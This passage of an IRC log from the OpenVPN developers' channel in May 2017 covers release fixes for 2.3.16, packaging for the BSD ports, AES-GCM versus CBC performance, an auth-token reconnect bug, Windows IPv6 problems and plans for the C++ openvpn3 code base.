was being too intelligent and converted the file name (security@openvpn.net) into Javascript 13:04 <@dazo> heh 13:17 <@mattock> actually, the file name was security@openvpn.net.key.asc, so it did not even bother to check if the resulting email address was valid 13:24 <@dazo> well, it could have been a very valid e-mail address .... with today's list of gTLDs, .asc wouldn't be surprising 14:04 <@mattock> dazo: yes, but our Joomla instance is way older than those TLDs 14:04 <@mattock> :P 14:14 <@dazo> eek ..... 14:33 < m-a> OpenVPN 2.3.16 submitted to FreeBSD's ports secteam for permission to upgrade (they own the "quarterly" stable branch, so I am not permitted to commit directly). Thanks for picking up the shards. 14:33 < m-a> I've Cc:d cron2 on the message, cron2: I think the FreeBSD mailing lists are fairly open, ports-secteam@ for sure is. 14:34 < m-a> (but may also be a simple address list exploder) 14:35 <@dazo> thx, m-a! And I'm truly sorry for the 2.3.15 mess :/ 14:36 < m-a> yeah, shit happens 14:36 < slypknot> lol 14:36 <@dazo> at least 2.3.16 have been generated by the new script we have for review for final inclusion ... it seems to do the proper things, so hopefully we won't stumble into this again too easily 14:37 < m-a> the diff from 2.3.15 to 2.3.16 looked like a proper clean-up,. 14:38 <@dazo> :) 14:39 * m-a scratches head over the release/2.3 branch. 14:41 <@dazo> something wrong? 14:41 < m-a> I wonder if I'm too stupid to use Git properly with local clones, or if the release/2.3 branch didn't get advanced to v2.3.16, and can't make head nor tails of it. 14:42 <@dazo> git show v2.3.16 ... points at commit d044e188fb5669fed380c14473ef1045c88f9e80 14:42 <@dazo> git branch --contains d044e188fb5669fed380c14473ef1045c88f9e80 14:42 <@dazo> * release/2.3 14:42 <@dazo> davids@aurelius ~/devel/OpenVPN/openvpn (release/2.3) $ 14:43 < m-a> something's hosed with my nested Git checkouts 14:46 < m-a> I think they don't work the way I thought they'd do. 14:49 <@dazo> we don't use the nesting as anything clever or specific, just a way to group things belonging somewhat together 14:49 <@dazo> (in essence, release/2.3 is just pointing at a single commitish which is the latest one in that chain of commits) 14:50 <@dazo> generally, if you do: git checkout release/2.3 && git fetch && git rebase origin/release/2.3 ... then you'll get what you need 14:51 < m-a> no, it's just I've cloned from Github (for master), and then cloned that for release/2.3, which seemed stuck at 2.3.14. Apparently the normal clone won't update the other refs (other = not the currently checked out), and that's what confused me. 14:52 <@dazo> ahh, right ... okay, then you need to first do a proper fetch in the first one, then a fetch in the second one ... and then you can rebase 14:53 < m-a> basically I would have to have the first on the same branch as I want in the second because the initial repo it would only update master on a "git pull" but not update the other local refs. 16:41 < m-a> OpenVPN 2.3.16 inflicted on FreeBSD's 2017Q2 quarterly branch. 16:43 < m-a> I have an interesting build failure from Git master on FreeBSD 17:54 < m-a> subdir-objects, as proposed by the autotools, won't work --- Day changed Sat May 20 2017 05:06 <@cron2> m-a: what fails for master? "with patches" or "as is"? Our buildslaves build on 10.3, and they claim "master works" (but we do not use subdir-objects, as autotools is always happy to tell us) 05:12 <@cron2> tested on 11.0, git master, out of tree build, and it builds and passes "make check".. 06:34 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 06:34 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 11:16 < m-a> master does work, but adding subdir-objects (in an attempt to future-proof the autoconf/automake rigging) fails 11:16 < m-a> as an automake flag in configure.ac's AM_INIT_AUTOMAKE() call 13:09 <@vpnHelper> RSS Update - gitrepo: Remove erroneous limitation on max number of args for --plugin <https://github.com/OpenVPN/openvpn/commit/3f181eaa324892845e0857d80c154512d9e8c59c> 14:22 < SviMik> hi 14:23 < SviMik> can someone tell me the difference between AES GCM and CBC in case of openvpn usage? 14:27 < SviMik> why GCM ciphers was included in default NCP settings but CBC wasn't? 14:27 <@cron2> I've been told "because GCM is what you want" - single-pass crypt+hash, more efficient = faster/less battery usage, and less overhead 14:28 < SviMik> OpenSSL benchmark shows that AES-256-CBC is faster than AES-256-GCM. same does the mbedtls benchmark. 14:29 <@cron2> you need to add a HMAC on top of CBC to judge real-life speed, as GCM includes the HMAC 14:29 <@cron2> so (AES-256-CBC + SHA256) vs. (AES-256-GCM) 14:31 < SviMik> ah, I see. but was there actually some tests made, or it's just a theory? 14:32 <@cron2> I need to defer that question to James or syzzer - they are the ones that understand crypto 14:32 <@cron2> but I'm sure that James tested (he brought in snappy because it's more efficient in terms of CPU usage than LZO, and threw it out again because LZ4 is even better...) 14:33 < SviMik> because I have no idea how to test it that way (with the HMAC)... 14:33 <@cron2> send stuff through OpenVPN between two machines that do AES-NI, with a gigabit LAN in between... 14:35 < SviMik> cron2 still, I run my tests on different CPUs, with and without AES-NI, SSE4, etc, to make sure there is no pig in a poke 14:37 < SviMik> I'm pretty sure AES-NI makes it fast enough to not care about it. I'm more concerned about non-AES-NI machines 14:40 <@cron2> as far as I understand, with AES-NI, GCM really shines vs. "have to do a SHA256 pass extra". Without AES-NI, it's still only a single-pass over the data, but the difference might not be so noticeable. 14:47 < SviMik> just CBC (without HMAC) is 2.1x than GCM on AES-NI machines and 3.8x faster on non-AES-NI machines. no idea how much HMAC actually adds... 14:51 < SviMik> if syzzer could publish some tests - it could really throw some light on this topic 14:53 < SCHAPiE> the question is, is it safer 14:54 < SviMik> SCHAPiE really? was AES-256-CBC compromised already, or at least some theory appeared how to crack it? 14:55 < SCHAPiE> not that I'm aware of 14:55 < SviMik> I won't take the "safer" thing without an actual proof 14:55 < SCHAPiE> it was just a brainfart tbh, "hmm, AES-256-GCM or AES-256-CBC... Conan, what is best in life?" 14:56 < SCHAPiE> i made a build with LibreSSL, currently using CAMELLIA-256-CBC with a streebog512 HMAC 14:57 < SCHAPiE> with DHE-RSA-CHACHA20-POLY1305 14:58 < SCHAPiE> you can of course wonder whether AES-NI can be completely trusted 14:58 < SviMik> heh. already thought about that... 14:59 < SCHAPiE> it has already been shown that some curves in ECDHE are not completely safe 14:59 < SCHAPiE> would be cool if OpenVPN could use X25519/Curve25519 14:59 < SCHAPiE> or some other newer/safer curve 15:00 < SviMik> today processors are so complicated, that Intel could easily hide another processor inside and no one will find it xD 15:00 < SCHAPiE> DHE with a nice dh.pem file as big as the RSA key the cert was based upon, is a perfectly viable alternative though 15:01 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Disconnected.] 15:01 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 15:04 < SCHAPiE> indeed SviMik 15:04 < SCHAPiE> :D 15:05 < SCHAPiE> looking fwd to TLS 1.3 --- Day changed Sun May 21 2017 03:03 <@cron2> hrmph, we managed to mess up NetBSD's port as well... they upgraded right in the middle between "tarball with extra .so on the web" and "proper 2.3.15 tarball", so their package sums do not match anymore... 06:03 < Thermi> cron2: Hmmm. No automatic testing of the release? 07:05 <@plaisthos> SCHAPiE: how did you test? 07:31 <@syzzer> SCHAPiE: the backdoors-in-curves thing has a quite high tinfoil-hat rating. This paper by two of the most respected academic elliptic curve researcher is a great read: http://eprint.iacr.org/2015/1018.pdf 07:32 <@syzzer> or, if that's too long for you, read Matthew Green's summary: https://blog.cryptographyengineering.com/2015/10/22/a-riddle-wrapped-in-curve/ 07:32 <@vpnHelper> Title: A riddle wrapped in a curve A Few Thoughts on Cryptographic Engineering (at blog.cryptographyengineering.com) 07:32 <@syzzer> as for GCM-vs-CBC: it 07:32 <@syzzer> hrmpf, wait for it... 07:35 <@syzzer> as for GCM-vs-CBC, it's not just about the speed of the crypto. OpenVPN's GCM packet format is more efficient too. The overhead for AES-256-GCM + HMAC-SHA256 is 16 (IV) + 4 (packet id) + 32 (auth tag) = 52 bytes per packet, while for GCM it's 4 (packet id) + 16 (auth tag) = 20 bytes per packet 07:36 <@syzzer> and because AES-NI has instructions for GHASH (the authentication part of GCM), but not for SHA, AES-GCM is a lot faster than AES-CBC+HMAC-SHA 07:39 <@syzzer> for non-AES-NI machines, performance is in the same order of magnitude. I don't have the numbers anymore, but I recall that for OpenVPN specifically, GCM was slightly faster in OpenSSL and slightly slower in mbed TLS when AES-NI was disabled. 07:39 <@syzzer> hm, SviMik already left... oh well... 07:41 <@syzzer> SCHAPiE: whether OpenVPN supports Curve25519 / Curve448 is entirely upto the crypto libs btw. We allow all curves that the crypto lib supports. 10:53 <@plaisthos> my openssl speed is 2,9 GB/s for AES-GCM-256/1024 byte blocks and 837 MB/s for AES-256-CBC 10:54 <@plaisthos> I am notsure gcm is so much faster 11:10 <@cron2> Thermi: sure we test, but we could not follow the "standard foolproof" way here (make distcheck, tag, push to public repo, wait for confirmation from buildbots that we didn't broke anything unexpected, clone public repo, build tarball from there) 11:11 <@cron2> plaisthos: huh, that sounds like a measuring artefact... in direct comparison (without an extra SHA pass) I'd expect GCM to be slightly slower than CBC 12:03 < SCHAPiE> cool, i will read that syzzer, thanks 12:03 < SCHAPiE> nice background info 12:45 < valdikss> hrm guys, I need help 12:46 < valdikss> https://zaborona.help/zaborona-help.ovpn - IPv6 in this config works in Linux but not on Windows or Android 12:46 < valdikss> Windows says "general error" when I try to ping IPv6 routed pushed by this server. 12:47 < valdikss> "general failure" 16:38 <@plaisthos> cron2: yeah but it is consistent 16:38 <@plaisthos> openssl speed -evp aes-256-gcm 16:38 <@plaisthos> vs the smae with cbc instead of gcm 16:39 <@plaisthos> the older box (first gen nehalem) here does 645 MB/s (CBC) vs 845 MB/s (GCM) 16:49 <@plaisthos> lets try something really crazy and check what openssl on ubuntu/windows says 16:53 <@plaisthos> 2,8 GB/s vs 640 MB/s 16:55 <@plaisthos> but then again aes-256-ctr is even faster with 4,1 GB/s 16:55 <@plaisthos> so 2,8 GB/s instead of 4,1 GB/s for adding of authentication sounds reasonable 23:33 <@vpnHelper> RSS Update - tickets: #892: Windows 10 64-bit - OpenVPN 2.4.2-I601 - Registry query failure in event log <https://community.openvpn.net/openvpn/ticket/892> --- Day changed Mon May 22 2017 01:28 <@ordex> morning 02:01 <@cron2> valdikss: there is no IPv6 in the config listed. One would need to see the log for "what does the server push, what is installed" 02:37 < valdikss> cron2: seems like he already removed 'server-ipv6' 02:38 < valdikss> cron2: oh no, it stil works. Please try. 02:39 < valdikss> cron2: server pushes IPv6 /65 with ifconfig-ipv6 and some routes with route-ipv6. And it doesn't work on Windows no matter I do. 02:46 <@cron2> valdikss: it's well possible that /65 does not anywhere but on unix systems 02:47 <@cron2> there's strong guidance from the IETF to only ever use /64 on LAN interfaces, and a tap is a "LAN interface" 02:47 < valdikss> cron2: /112 works correctly 02:47 <@cron2> on windows? 02:47 < valdikss> (on another server with another settings) 02:47 < valdikss> Yes, on Windows 02:47 <@cron2> that is interesting 02:47 <@cron2> so what's different? 02:48 < valdikss> cron2: I've no idea! Windows doesn't even try to send anything! Absolutely zero IPv6 traffic on TAP interface since connect 02:48 < valdikss> Ping returns 'general failure'. I checked routes multiple times and tried to add my own, no luck. 02:51 <@cron2> can you modify the /65 to either /64 or /112? I'm still suspecting that /65 is no good (but that windows acknowledges "small subnet", maybe) 02:57 < valdikss> cron2: I have bad news. My old config also doesn't work. 'general failure' 03:03 <@cron2> that smells like "someone at microsoft 'repaired' non-/64 subnet sizes" 05:54 <@dazo> Thermi: we do usually test things fairly well before a release ... but 2.3.15 got messed up because just hours before going public, we realized we needed another fix ... and that additional fix broke our routine .... which is why I wrote a script (on the ML) to tackle the release preparation steps fully automated ... that should help us avoid that misstep again 06:53 <@cron2> NetBSD will bump to 2.3.16 tomorrow (testing today), to get ouf that mess :) --- Day changed Tue May 23 2017 03:54 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds] 03:55 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:21 <@plaisthos> I think we have a bug/problem with auth-gen-token 05:21 <@plaisthos> when the client just reconnects it gets a AUTH_FAILED because client does remember the auth-token but the server does not 05:22 <@plaisthos> clearing the token on the client would work but break external auth-token mechansim reocnnect ability 05:25 <@plaisthos> dazo: any ideas what do here? Have a param to the client if it should forget auth-token on USR1 or forget the after a AUTH_FAILED? 05:27 <@dazo> plaisthos: I see you've resurfaced some old patches of mine which is related 05:27 <@plaisthos> yeah 05:27 <@plaisthos> I was looking in this whole auth-token stuff 05:27 <@dazo> plaisthos: currently, the openvpn2 does not provide any "reason" to why authentication failed 05:27 <@plaisthos> and found your patches that got no response 05:28 <@dazo> yeah, those needs to be refactored again ... it's so long ago, I barely remember them ... but syzzer was not too happy about my refactoring 05:28 <@plaisthos> the putting of context there instead of multi_tls? 05:28 <@dazo> According to james, the AUTH_FAILED may contains a reasoning ... which is what patch 2/2 does add ... 05:29 <@plaisthos> I can understand that 05:29 <@dazo> yeah 05:29 <@plaisthos> fixing just auth-gen-token use case is simple, just forget auth-token on usr1 05:29 <@dazo> AFAIR, currently only OpenVPN Connect clients will process that string .... but perhaps yours can too? 05:30 <@plaisthos> but that will break reconnect for exteranl auth-token 05:30 <@plaisthos> I think normal clients at least log it 05:30 <@dazo> yeah, they should log it 05:31 <@plaisthos> and the repsonse challenge stuff uses it 05:31 <@dazo> right 05:33 * dazo tries to dig up these old branches 05:41 <@dazo> plaisthos: so ... just trying to fully understand the issue .... client connects, auth-tokens exchanged, perhaps doing some re-auth, client "dies" (gets cold a restart), server just see the client disappeared and keeps the session object, client connects and auth fails because auth-token in session object doesn't match the users password 05:41 <@dazo> is that correct? 05:41 <@plaisthos> dazo: apart from client "dies" is just client reconnecting 05:42 <@dazo> okay ... but in that reconnection, it should have the auth-token saved and reuse that? 05:42 <@plaisthos> then gets a new session on the server which does not know anything about the auth-token and the client gets back a AUTH_FAILED 05:42 <@dazo> or have the server already abandoned the session and killed the session object with the auth-token at that point? 05:43 <@plaisthos> tcp client here, so session gets killed with tcp rst 05:43 <@dazo> ahhhhh ... okay, so the session object is wiped ... and the client must send the password 05:43 <@plaisthos> yeah 05:44 <@plaisthos> but the client cannot know if the server uses auth-gen-token or a external script 05:45 <@dazo> Hmmm ... but the client could know it have received an auth-token ... so if it isn't a reconnect which re-uses the session, it should ask for password 05:46 <@plaisthos> yeah 05:46 <@plaisthos> that would be forget auth-token on usr1 05:47 <@dazo> well, the "forget auth-token" implies "ask for password" ... when the client receives auth-token via PUSH_REPLY, it only wipes the password in struct user_pass up and puts the auth-token in the password field instead 05:47 <@dazo> so that logic needs to be improved 05:52 * dazo thought ordex had a patch included which had some improvements to auth-token 05:53 <@dazo> I even thought we had applied it :/ 05:57 <@ordex> no we did not 05:57 <@ordex> it is pending a secondary review :S 05:57 <@dazo> ahh! that's where that stranded :/ 05:57 <@dazo> yeah, remember now ... I had my hands to too much into that patch 05:57 <@ordex> right 05:57 <@ordex> so..still floating around :S 05:58 <@ordex> my suggestion was to implement a unit test for that part, but that requires time :( 05:58 <@dazo> yeah 06:00 <@plaisthos> so what patch is it? 06:00 <@plaisthos> I could probably do the second review 06:05 <@dazo> plaisthos: 20170225004014.28638-1-a@unstable.cc 06:06 <@dazo> plaisthos: so, that patch adds up->tokenized .... which is quite useful to identify if the client should ask for another password or not 06:07 <@plaisthos> yeah 06:07 <@plaisthos> Original scenerio here I am looking into would still break with that clearing of password 06:08 <@dazo> yeah, but building on that patch makes it easier :) 06:09 <@plaisthos> here auth-gen-token is /only/ used since auth-user-pass is an "expensive" script and the frequent reatuh with older BF clients are cheaper with auth-token 06:09 <@plaisthos> but yeah I will review that patch later today 06:09 <@dazo> thx! 06:19 <@ordex> thanks :) 06:52 <@vpnHelper> RSS Update - tickets: #893: Possible null pointer dereference in time_string() <https://community.openvpn.net/openvpn/ticket/893> 07:13 <@cron2> what is wrong with people this week... can't they look into broken parts in OpenSSL or so... 07:14 <@plaisthos> hehe 07:14 <@plaisthos> also that bug is really obscure 07:19 <@cron2> it is not a bug 07:20 <@cron2> t is a local variable, so &t is always valid, and whatever number is in t is a valid "seconds after begin of the epoch" number 07:21 <@cron2> the way t is copied back and forth to tv.tv_sec is a bit weird, but since that is just copying a time_t value around (and not doing pointers) it does not matter 07:36 <@cron2> I'll argue the point whether or not a time_t can be invalid - on FreeBSD, it cannot be 07:44 < slypknot> If i am using all RSA certs why does openvpn do this ? 07:44 < slypknot> Tue May 23 13:34:30 2017 us=135915 Failed to extract curve from certificate (UNDEF), using secp384r1 instead. 07:44 < slypknot> Tue May 23 13:34:30 2017 us=136005 ECDH curve secp384r1 added 07:49 < slypknot> ECDH TLS i guess 09:10 <@syzzer> slypknot: exactly 09:10 <@syzzer> prior to openssl 1.0.2, the openssl 'user' (openvpn, here) would have to pick a curve itself 09:10 <@syzzer> so what we do is see if the cert has a curve, and use that curve if that is the case 09:11 <@syzzer> otherwise fall back to P-384 09:16 <@plaisthos> extract 09:16 <@plaisthos> (ignroe me) 09:23 <@syzzer> dazo: damn you with your fast EPEL package updates! My interop tests suddenly stopped working because my RHEL6 test hosts upgraded to openvpn 2.4 and the output didn't match my regex anymore :') 09:28 <+krzee> haha 09:35 <@cron2> haha indeed :) 09:48 <@dazo> :-D 09:50 <@dazo> syzzer: if you don't enable epel-testing .... it shouldn't have happened yet .... :-P https://bodhi.fedoraproject.org/updates/openvpn-2.4.2-1.el6 09:51 <@dazo> (EPEL-7 have been pushed to stable, though) 09:51 <@dazo> https://bodhi.fedoraproject.org/updates/openvpn-2.4.2-2.el7 09:55 * dazo currently _tries_ quite hard to like C++ .... 09:55 <@dazo> it's harder than I'd ever anticipate 09:56 <@plaisthos> :) 09:56 <@plaisthos> C++ is just such a weird language 09:56 <@dazo> s/language// 09:56 <@plaisthos> and c++11 is just a bizzard mix of really really old and really new stuff 09:56 <@dazo> yeah 09:56 <@plaisthos> mixed in with all the C inherated traps for good measure 09:57 <@dazo> I'm just so tempted to write the Linux client as pure C ... just facilitating the OpenVPN client object where needed .... :/ 09:57 <@dazo> (but I know that is just bad) 09:59 <@dazo> perhaps we should just jump for OpenVPN 4 .... and write it in Rust :-P 10:08 <@plaisthos> or some even more obscure language ;) 10:08 <@dazo> "However, /good/ C programs tend to be C++ programs. For example, every program in Kernighan and Ritchie, TheC Programming Language, Second Edition [Kernighan,1988], is a C++ program." .... B. Stroustrup 10:08 <@dazo> that's a bold statement :) 10:09 <@dazo> plaisthos: Python? 10:09 <@plaisthos> nah 10:09 <@plaisthos> python is not obscure 10:09 <@dazo> heheh ... you're right! Perl, it is! 10:09 <@plaisthos> from my personal impression python seems to be more used than Perl these days 10:09 <@dazo> I find Python easy to work with these days .... my first preference to test out PoC ideas 10:11 * cron2 hates python 10:11 <@plaisthos> cron2: still a perl guy? 10:12 <@dazo> you bet! :) 10:12 <@cron2> it's sort of like "pascal reborn" - it just gets in the way, instead of getting my work done 10:12 <@cron2> (which is why I ditched pascal 29 years ago [wtf!] and converted to C...) 10:15 <@syzzer> C++ should only be allowed to use *after* you've decided on a sane subset of available features that developers are allowed to use 10:16 <@syzzer> there's too much hyper-complex features in there, and using those features makes code totally unmaintainable because you need to be an expert before you can contribute... 10:16 <@dazo> perhaps the C++ compilers lack a --reject-older-std=c++98 10:17 <@dazo> oh, yeah, I see what you mean 10:17 <@cron2> syzzer: yeah, this is how git feels when you start :) 10:17 <@dazo> syzzer: looking fwd to hear your impressions when diving into the openvpn3 code base :) 10:17 <@plaisthos> and you also need to an expert to avoid these features unfortunately 10:18 <@syzzer> something like "-Wno-phd -Werror" 10:18 <@dazo> lol 10:18 <@dazo> well, there is -Weffc++ :-P 10:18 <@plaisthos> is there? 10:18 <@dazo> yes :) 10:19 <@dazo> -Weffc++ (C++ and Objective-C++ only) 10:19 <@dazo> Warn about violations of the following style 10:19 <@dazo> guidelines from Scott Meyers' Effective C++, 10:19 <@dazo> Second Edition book: 10:21 <@syzzer> dazo: yeah, I'm curious about openvpn3 too, but so little time :( 10:33 <+krzee> is "openvpn 3" the c++ code that connect comes from, or the progression of the C code that !roadmap was talking about? 10:33 <+krzee> if "openvpn 3" is the c++ code, what will the C code be after 2.9 is done? 10:34 <@dazo> krzee: openvpn 3 is the C++ stuff .... the !roadmap should probably be deleted 10:34 <@dazo> in some essence, !roadmap is somewhat covered ... but very differently 10:35 <+krzee> so will the C code stop getting worked on at some point? 10:35 <+krzee> like 2.9 and poof we goto c++? 10:35 <@dazo> nope ... openvpn3 is mostly compatible with 2.x 10:35 <@dazo> the wire format is basically the same 10:36 <+krzee> right, fully aware they connect to eachother 10:36 <@dazo> There are some features in 2.x not implemented in 3.x .... but the most common ones work quite fine 10:37 <+krzee> i dont feel that answers my ? tho, will the C code go away and we'll all switch to the c++ code at some point? 10:37 <+krzee> (or do we know?) 10:37 <@dazo> and, currently the 3.x code base is mostly focused on the client side .... there are bits and pieces fro the server code there too, but to build a 3.x server will be quite an effort 10:38 <@dazo> at some point, I think we will move completely over to the C++ code base .... but that's its a long way to reach there 10:38 <+krzee> if they'll both exist in perpetuity then hows 3.x the c++, seems like its another app all together, one that is compatible with openvpn 10:38 <+krzee> its confused me since it came, im just getting around to asking :D 10:39 <@dazo> krzee: currently the openvpn 3 code base is massively deployed via OpenVPN Connect on Android and iOS .... I am working on writing a brand new Linux client (which will have a very different model than the single openvpn binary type we have today) 10:40 <@dazo> If I do my work well enough, the *BSD ports shouldn't be impossible ... but I will make use of a lot of newer features in Linux, to allow more secure ways for non-privileged users to start tunnels (while preserving a possibility for sys-admins to control what users may do) 10:41 <@plaisthos> I might includde the OpenVPN3 clinet in my app too 10:42 <+krzee> so the plan is to throw out all the 2.x code one day and not use it when we make the move to the c++ openvpn3? 10:42 <@dazo> krzee: that is the plan for this millennia ;-) 10:42 <+krzee> thank you 10:42 <+krzee> thats what i had failed to grasp 10:44 <@dazo> but both will co-exist for quite some time .... until the 3.x stuff stabilizes on platforms not using it today - and gets really usable for the average users 11:55 <@cron2> krzee: dazo will add lots of funky new linux stuff, which real unix guys will reject (shivering!) and thus, 2.x will live forever! 11:56 <@cron2> (up to the point where we all move to using iphones for all our daily work, and stop using standalone computers...) 13:58 < slypknot> can anybody shed a little light on this : https://forums.openvpn.net/viewtopic.php?f=1&t=22766 13:58 <@vpnHelper> Title: TUN interface creation failed: cannot acquire TAP handle - OpenVPN Support Forum (at forums.openvpn.net) 14:43 <@vpnHelper> RSS Update - tickets: #894: (v)s(n)printf hardening <https://community.openvpn.net/openvpn/ticket/894> --- Log closed Tue May 23 18:10:41 2017 --- Log opened Tue May 23 18:11:25 2017 18:11 -!- Irssi: #openvpn-devel: Total of 29 nicks [8 ops, 0 halfops, 1 voices, 20 normal] 18:11 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 18:12 -!- Irssi: Join to #openvpn-devel was synced in 48 secs 20:06 <+krzee> cron2: speaking of ditching desktops and using mobiles, i got my wife one of these: https://www.kickstarter.com/projects/andromium/the-superbook-turn-your-smartphone-into-a-laptop-f 20:06 <@vpnHelper> Title: The Superbook: Turn your smartphone into a laptop for $99 by Andromium Inc. Kickstarter (at www.kickstarter.com) 20:32 <@ordex> morning 20:32 <@ordex> plaisthos: thanks for the review! 20:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 272 seconds] 21:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 21:02 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 22:34 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 22:36 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 22:36 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed May 24 2017 02:06 <@mattock> ah, oberhumer.com and lzo tarballs are back on the net 05:59 < valdikss> 1. Connect on Windows to OpenVPN server with block-outside-dns and without persist-tun 05:59 < valdikss> 2. Restart server 05:59 < valdikss> 3. ??? 05:59 < valdikss> 4. DNS on client no longer works until reboot or server restart 05:59 < valdikss> service* 07:26 < slypknot> Ha .. my four Hyper-V VMs are all still runinng but W10 has totally crashed ! POFS 10:45 -!- You're now known as ecrist --- Day changed Thu May 25 2017 08:08 < slypknot> mattock: dazo please take a look here : https://forums.openvpn.net/viewtopic.php?f=30&t=24177 08:08 <@vpnHelper> Title: wrong or missing GPG certificate - OpenVPN Support Forum (at forums.openvpn.net) 08:08 < slypknot> thanks 12:34 <@mattock> slypknot: that is once again a false positive 12:34 <@mattock> I responded to the guy 12:50 < slypknot> mattock: thanks for your help :) 15:32 <@mattock> np --- Day changed Fri May 26 2017 00:54 < valdikss> Eset Personal Firewall NDIS filter blocks OpenVPN from adding IPv6 adde 00:54 < valdikss> address and routes to TAP interface. 01:21 <@cron2> nothing like a good security suite to interfere with *real* security... 01:40 < valdikss> Maybe we should document this somewhere. Maybe in wiki. 01:40 < valdikss> I'll do some tests 05:49 <@vpnHelper> RSS Update - tickets: #895: Connection not restored after network change <https://community.openvpn.net/openvpn/ticket/895> 06:15 < valdikss> http://puu.sh/w0yZR/7d5a1f7c18.png 06:16 < valdikss> What could this mean? IP interface failed to set IP address using OpenVPN's DHCP server? 06:23 <@cron2> looks a bit like it - or the netmask calculation is borked, I assume not many people use 255.255.252.0 - it would be good to see "ipconfig /all" from the tap adapter when that happens 06:54 < valdikss> cron2: well it works on a major setups 06:56 <@cron2> it has to work, I was just not sure if it might trigger something funky inside openvpn 14:39 <@cron2> who is Farhan Ul Haq, and why can he not provide patches with a commit message that explains what this is about...? 16:30 < slypknot> cron2: drive by 16:31 < slypknot> required or desired ? 16:56 <@syzzer> he has an openvpn.net address is seems 16:57 <@syzzer> dazo: will you point this guy at https://chris.beams.io/posts/git-commit/, or shall I unleash the Dutch in me? ;-) (also, commit seems to be against release/2.3) 17:14 <@syzzer> mattock: I just noticed that the debian packages on build.openvpn.net have their 'Origin' set to 'Freight'. That should probably be changed to something like 'OpenVPN' or 'build.openvpn.net', to distinguish this repo from other repositories. 17:50 < slypknot> burn on me 17:52 <+krzee> unleash the dutchman! --- Day changed Sat May 27 2017 03:21 <@plaisthos> "Security measure against DOS attack on port." that is not that helpful *sigh* 03:32 <@cron2> syzzer: unlease the dutchman! :) 07:01 <@ordex> syzzer: cron2: he should learn the hard way :P imho 07:01 <@ordex> :D 09:06 < valdikss> Is dns6 supported in Windows? 09:07 < valdikss> Is it required to explicitly use --ip-win32 netsh? 09:19 < SviMik> I've just recently discovered the gcc's -march=native flag and I'm eager to try it in production. Will someone stop me against doing `cd openvpn-2.4.2 && sed -i 's/-O2/-march=native -O2/g' configure && ./configure && ...` ? 09:23 < SviMik> as I understand, this will enable gcc to use all instructions available on the current CPU, including SSE, doing more optimizations that it does by default 09:35 < valdikss> SviMik: it won't help you much. The slowest thing in OpenVPN is tap kernel module, not OpenVPN itself 10:33 < SviMik> valdikss is kernel module supposed to display its cpu load within "openvpn" process like this? http://svimik.com/hdms24cpu1.png 10:40 < valdikss> SviMik: I mean the main CPU hog is read()/write() calls to/from tun/tap. 10:41 < valdikss> SviMik: not the encryption, not the OpenVPN itself. But kernel/usermode context switches. 10:41 < valdikss> SviMik: On low-end routers with 400 mhz cpu OpenVPN gives ~20 mbit/s with OR without encryption. 10:42 < valdikss> SviMik: OpenVPN can't transfer more then 1 Gbit/s with or without encryption on my PC. And tinc and any other software which utilize tun/tap either. 10:43 < valdikss> SviMik: But you can increase MTU using tun-mtu 9000, mssfix 0 in both server and client configs and go up to 5 gbit/s or even more 10:43 < SviMik> valdikss how about that old "gigabit" article, comparing AES-NI and other things? 10:43 < valdikss> SviMik: Because there would be less context switching as packets are bigger. 10:43 < valdikss> SviMik: This article basically increases MTU. 10:44 < valdikss> read()/write() by one packet and context switching is basically the main bottleneck. 10:44 < SviMik> valdikss no, there was dramatic change when he turned off the encryption, even with same MTU 10:44 < valdikss> SviMik: well, maybe, I use GCM anyway with hardware support. 10:45 < valdikss> SviMik: you can run more openvpn instances and balance with iptables between them. 10:46 < SviMik> https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux 10:46 <@vpnHelper> Title: Gigabit_Networks_Linux – OpenVPN Community (at community.openvpn.net) 10:46 < SviMik> here it is 10:49 < valdikss> SviMik: well I know. This is a very old article by the way 10:49 < SviMik> "not the encryption, not the OpenVPN itself" - please specify next time that you mean "GCM with hardware support" 10:49 < valdikss> SviMik: no, I meant exactly what I wrote 10:50 < valdikss> not the encryption, not the OpenVPN itself. The main CPU hog are context switches between kernelspace and userspace. 10:50 < valdikss> The second bottleneck is read()/write() calls by only one packet. 10:50 < valdikss> The third is encryption. 10:50 < SviMik> even when using software encryption? 10:50 < valdikss> Yes! 10:51 < valdikss> As I said, I get 20 mbit/s without encryption on low end router and slightly less (18-19) with blowfish. 10:51 < SviMik> how do you explain that article then? I know it's old, but what has been changed since then? 10:52 < valdikss> SviMik: what exactly needs the explanation? 10:52 < SviMik> valdikss difference between software encryption, AES-NI encryption, and no encryption, even when using the same MTU 10:53 < SviMik> quite noticeable difference 10:53 < valdikss> SviMik: where do you see such data? 10:54 < SviMik> did the recent linux kernel got more overhead to the context switching? 10:54 < valdikss> SviMik: probably not 10:54 < SviMik> you said that article is "old by the way". what did you mean? 10:55 < SviMik> or, more precisely: what did you imply? 10:55 < valdikss> SviMik: aes-ni is long integrated into stock openssl and is selected by default if persent on CPU. 10:55 < SviMik> valdikss it's not present in my CPU. 10:55 < valdikss> SviMik: OpenVPN 2.4 uses AES-256-GCM if possible (if it can be negotiated with server) 10:56 < SviMik> valdikss I have a lot of 2.3 clients, they can't use GCM 10:56 < valdikss> SviMik: You have strongswan, it should give much better speeds 10:57 < valdikss> SviMik: (unless you configured it with userspace libipsec, which uses tun/tap too) 10:57 < SviMik> You have strongswan // indeed I do. and it does not raise a question when I look at the htop 10:58 < valdikss> SviMik: because strongswan uses kernel encryption and kernel ipsec module 10:58 < valdikss> SviMik: it does very little when the client is already connected, everything is handled by the kernel 10:58 < SviMik> we're not on #strongswan :) 10:59 < valdikss> But we have Thermi here! 11:00 < SviMik> okay, that makes sense 11:01 < valdikss> SviMik: anyway, recompiling with march=native 